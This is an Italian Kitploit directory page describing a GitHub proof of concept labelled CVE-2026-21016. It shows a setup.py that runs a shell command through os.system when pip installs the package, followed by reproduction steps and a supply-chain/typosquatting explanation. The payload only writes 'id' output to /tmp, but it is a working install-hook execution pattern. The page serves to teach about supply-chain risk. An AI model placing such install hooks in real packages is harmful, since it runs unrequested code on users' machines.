Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-21016-Malicious-PyPI-Package-Install-Hook-setup.py-Execution- — Dimostra come un pacchetto Python malevolo esegua comandi arbitrari durante l'installazione tramite pip via setup.py, evidenziando i rischi di supply chain e typosquatting su PyPI. | Kitploit
Strumenti/GitHubGitHub/george0papasotiriou/cve-2026-21016-malicious-pypi-package-install-hook-setup.py-execution-
ExploitSicurezza della Supply ChainApprendimento e FormazioneSviluppo PayloadAttacco Avversario
GitHubgeorge0papasotiriou/cve-2026-21016-malicious-pypi-package-install-hook-setup.py-execution-

CVE-2026-21016-Malicious-PyPI-Package-Install-Hook-setup.py-Execution-

Dimostra come un pacchetto Python malevolo esegua comandi arbitrari durante l'installazione tramite pip via setup.py, evidenziando i rischi di supply chain e typosquatting su PyPI.

Vedi Repository
41 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-21016 – Hook di installazione di pacchetti PyPI dannosi (esecuzione di setup.py)

Codice del programma (Python)

root@kitploit:~
# setup.py - Malicious package that executes during install
from setuptools import setup
import os

# This runs on pip install
os.system('id > /tmp/pwned_by_package')

setup(
    name='harmless-pkg',
    version='1.0',
    packages=[],
)

CVE-2026-21016 – Hook di installazione di pacchetti PyPI dannosi (setup.py)

Severity: Critical

Panoramica

Un pacchetto PyPI può includere codice arbitrario nel proprio setup.py, che viene eseguito durante . Un attaccante può pubblicare un pacchetto con un nome simile a quello di un pacchetto popolare (typosquatting) e, al momento dell'installazione, il payload viene eseguito con i privilegi dell'utente, portando a esecuzione di codice remota.

pip install

Dettagli della vulnerabilità

  • Tipo: Attacco alla supply chain / Esecuzione di codice
  • Impatto: Compromissione del sistema, furto di credenziali.
  • Causa principale: Pip esegue setup.py senza sandbox, dando ai pacchetti pieno accesso.

Dimostrazione dello sfruttamento

  1. Creare la directory del pacchetto dannoso con il setup.py fornito.
  2. Installarlo localmente:
    root@kitploit:~
    pip install ./harmless-pkg
    
    
  3. Controllare l'output:
    root@kitploit:~
    cat /tmp/pwned_by_package
    

Il comando id è stato eseguito.

Scarica lo strumento